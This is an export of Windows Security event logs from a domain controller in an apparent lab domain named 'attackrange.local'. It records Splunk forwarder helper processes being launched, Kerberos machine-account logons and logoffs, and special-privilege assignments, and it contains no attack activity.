Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4ac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:27:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255673
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x343901
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64623

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:27:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255672
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x343901

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:27:20 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255674
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x341503

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:27:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255677
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x344A5D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:27:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255676
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x344A5D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64633

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:27:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255675
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x344A5D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:28:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255678
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1258
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:28:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255679
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1398
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:28:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255681
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa60
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:28:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255680
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xea8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:28:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255683
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x370
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:28:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255682
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:28:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255684
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x85c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:28:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255685
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x343901

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:28:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255688
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x347FB0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:28:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255687
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x347FB0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64645

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:28:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255686
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x347FB0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:29:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255689
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1338
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:29:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255690
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:29:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255692
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x358
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:29:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255691
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x410
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:29:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255694
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb44
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:29:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255693
